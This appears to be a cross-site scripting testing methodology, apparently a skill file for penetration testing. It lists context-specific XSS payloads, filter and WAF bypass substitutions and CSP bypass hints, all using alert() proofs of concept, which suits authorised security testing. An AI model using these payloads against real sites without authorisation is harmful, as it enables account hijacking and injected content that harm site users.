xss-methodology

XSS Cross-Site Scripting Complete Methodology

⛔ In-Depth Reference (Must-Read When Encountering WAF/CSP)

• WAF/Filter Bypass Payload Compendium, CSP Bypass Advanced, DOM Clobbering, mXSS, SVG XSS, Stored/DOM XSS → references/xss-bypass-and-types.md
• CSP Bypass and DOM XSS In-Depth Techniques → references/csp-bypass-and-dom-xss.md

---

Phase 0: Echo Point Discovery (Execute First!)

1. Send a unique marker to each parameter (xss123test), search in the response for
2. Check not only the HTML body, but also response headers (Location:, Set-Cookie:）
3. Common: search results pages, error pages, user profile pages

Phase 1: Context Analysis (Determines Payload)

Context	Example	Basic Payload
Between HTML tags	<div>INJECT</div>	<script>alert(1)</script>
Attribute value (double quotes)	<input value="INJECT">	" onfocus=alert(1) autofocus="
Attribute value (single quotes)	<input value='INJECT'>	' onfocus=alert(1) autofocus='
JavaScript string	var x="INJECT"	";alert(1)//
URL/href	<a href="INJECT">	javascript:alert(1)
JS template literal	var x=`INJECT`	${alert(1)} or `+alert(1)+`

Key: Different contexts require different payloads! Determine the context first, then choose.

Phase 2: Basic XSS Testing

1. <script>alert(1)</script>
2. <img src=x onerror=alert(1)>      ← script 被过滤时
3. <svg onload=alert(1)>
4. " onfocus=alert(1) autofocus="    ← 属性注入

Verify: Check whether the payload in the response HTML is preserved as-is (not encoded).< becomes < → escaped, switch parameters.

Phase 3: Bypass and Advanced Exploitation

Encountering WAF/Filter → references/xss-bypass-and-types.md

Quick reference:

• <script> filtered → <img>, <svg>, <details>, <video>
• alert filtered → confirm(), prompt(), print()
• () filtered → alert`1`
• CSP restrictions → Check unsafe-inline / nonce / JSONP endpoints

Notes

• Test echo before testing injection: no echo means no XSS
• HTTP-only Cookies cannot be stolen via XSS
• Record the encoding behavior of each parameter